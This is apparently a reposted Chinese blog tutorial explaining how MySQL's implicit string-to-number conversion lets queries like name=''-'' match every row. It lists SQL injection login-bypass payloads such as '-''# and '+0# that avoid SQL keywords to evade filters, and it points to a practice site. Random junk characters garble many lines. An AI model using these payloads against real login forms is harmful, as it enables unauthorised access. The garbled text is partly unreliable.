我们先来看这样一个场景。! X7 S5 v4 x( o* n
有以下表结构:
, a3 g: q: |. f+ z. @' ]6 B
- M5 s) H3 `; Cmysql> desc admin;
: R5 j- p5 Z% R+----------+--------------+------+-----+---------+----------------+
' S9 M# m$ R& d% ]" g| Field | Type | Null | Key | Default | Extra |1 T; R# C# p* l3 Q2 q4 J
+----------+--------------+------+-----+---------+----------------+- u( ?: q1 h: ?! ~
| id | mediumint(9) | NO | PRI | NULL | auto_increment |
9 u, u5 O" Q8 E. G; [4 t6 l7 X| name | char(32) | NO | UNI | NULL | |
6 s- Q1 B9 I% y6 o0 D| password | char(32) | NO | UNI | NULL | |* ~! b' k2 B; g
+----------+--------------+------+-----+---------+----------------+) K2 a! ]9 }7 I# [; M! ?
3 rows in set (0.00 sec)
( i7 [# @: T3 c1 H9 S执行select * from admin;,成功返回所有记录内容。
8 k5 t( K) K; x. ^& g: R, \5 n4 j" _( a* t
' e! Z1 }5 t( ]( W2 P1 T
+----+--------+----------------------------------+ U; G; M, b! E$ J# z; J
| id | name | password |0 B& |* T! M8 e* \& N' f
+----+--------+----------------------------------+
. Y2 W3 O2 d5 k5 s* u* Q| 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 |
( l+ b4 l/ B: B| 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |. G0 i( g! m O2 Y5 ~
| 4 | n00b | ff80e8508d39047460921792273533a4 |& w; |- X! H& j+ U/ ~, V
+----+--------+----------------------------------++ a3 c e C! Q3 O9 [
3 rows in set (0.00 sec)
- @" @! K6 F0 U$ z执行select * from admin where name=”;,没有匹配到任何记录。 % E1 v! k/ p+ a6 V u3 `- D$ ]
6 @; G3 R' V3 `7 r
mysql> select * from admin where name = '';
/ t9 H2 K1 s" U' S7 mEmpty set (0.00 sec)2 [& [; ^" G* [) k1 ? m
那么我们来执行select * from admin where name = ”-”;
. u+ Q( D, \$ w/ Z4 n; \0 H2 v
1 j9 P* u" P9 k @2 K1 Z% ^3 n `" p2 m4 j E1 e
+----+--------+----------------------------------+
' z% x% C' U& A0 K4 E| id | name | password |
0 }1 V8 g$ `( J9 A+----+--------+----------------------------------+
$ x# ?( Y) y# V* E6 a+ I6 O| 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 |2 a5 q5 A! V: K* v
| 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |5 c1 n F7 m& T y. z$ |: y
| 4 | n00b | ff80e8508d39047460921792273533a4 |
. M; b5 A: ?2 n! J# [8 w8 t. w: U+----+--------+----------------------------------+4 @0 f5 }. |2 g; ^, x
3 rows in set, 3 warnings (0.00 sec)
. r `: `$ ?7 W. d+ p" k# k可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息:
0 H% C9 W# F8 _) x( p( S5 n; {- {' Z" l, o3 x: v
mysql> show warnings;
( b2 K* g( m& q0 ?: l/ o, e+---------+------+------------------------------------------ d' B d% B* ]- A8 I
| Level | Code | Message6 ?: e+ U) t* w+ O2 q
+---------+------+------------------------------------------7 J! e* s3 g8 q6 y- R
| Warning | 1292 | Truncated incorrect DOUBLE value: 'admin; J& z7 k: z% X% F: u+ t
| Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s
* U9 C- f" ?0 Y5 q/ U| Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b! i- Y, E/ P) C, x+ M
+---------+------+------------------------------------------) I8 s. k: [9 y7 N/ A( w, b3 `
3 rows in set (0.00 sec)
! k; @! S; H3 M* y: [提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。
# t' W, E) F; R& ?8 ]: m6 V! I, z7 G# `0 k# k
mysql> select ''-'';% P3 z1 z+ Z8 I# i
+-------+
t6 w$ S3 q K% i| ''-'' |
: k0 s! y" r6 }* U" j2 d+-------+5 f, l0 Y+ C1 I- G' F' y D
| 0 |+ a0 |5 f' g5 _! q
+-------+
6 f; j( x# q/ d& f1 row in set (0.00 sec)
" l8 Y% {1 D+ t& |! \% \) H返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0: % Z2 z: J8 s* y0 A, U. p. y8 D
* f7 I; w' t3 f8 R/ z9 D3 umysql> select CAST((select name from admin limit 1,1) as DECIMAL);
6 q% o; K4 d+ } \: f- m4 F+-----------------------------------------------------+$ K6 Z) @+ R2 z7 D
| CAST((select name from admin limit 1,1) as DECIMAL) |& {/ j( o4 J( g. Z3 v9 c: Z% a) t
+-----------------------------------------------------+
( O9 l7 S O# t/ z8 o| 0 |9 O& S6 l0 M5 n% a' g. u, S3 ^/ f3 }
+-----------------------------------------------------+
/ b; s! H* l! o1 row in set, 1 warning (0.00 sec)
% s8 R4 x, F6 P- T: Y因此where语句构成了相等的条件,where 0=”=”,记录被返回。
% E9 Z6 I: k5 B) g6 J! C4 ?$ A* b4 o1 L1 C
SQL注入场景: http://www.sqlzoo.net/hack/
3 T$ p. i. x% Y7 B% l- {2 f6 u9 j" O" G3 C
5 ]+ y. y7 A7 K$ R
3 N( u$ u7 X7 h! z
4 D2 u n7 X( r9 }5 A6 W0 a如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。
h6 L. @' g; Q5 H" d' i
) M% v9 h3 _ P2 l( K5 e那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。 & a8 r) q, h8 B- w9 t
* Q8 {" `6 V0 x
$ X: U6 d1 U5 M% m4 r
- G2 ]0 s3 \( F2 f6 \, r* `
) ~# ^, `! W0 z A! J% x仅仅在name子段输入’-”#,password留空,即可绕过登录验证。 g. I7 A2 N$ p, c
/ X+ S9 @' [( J5 h" v- G
# A$ A |" r {$ M
3 ]& N) s* p' z! Z) M除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可
7 z/ J. f0 p5 M2 ?8 r) c" x, J2 n3 w9 u
r; l3 P$ W' C
, H! R- O% `, n; V, E7 o: W& fmysql> select ''/1;6 d; N5 M; h z. _& e# h! r: {
+------+
5 }( e% Y2 m0 ?. x| ''/1 |
2 M* [3 E- p: H. A: U& y+------+# d7 Q4 w) i: t8 n/ Y
| 0 |- R: N& O. R9 I, F* O$ S6 l; @
+------++ P; ^9 D. Y$ N C# n+ a
1 row in set (0.00 sec)/ p+ n9 w; e+ O. V
类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。 & y }; K/ M6 H, w/ N5 M
- @" q$ s7 \% S( U8 R利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。
9 h5 n; L- W, z T* B) F |
|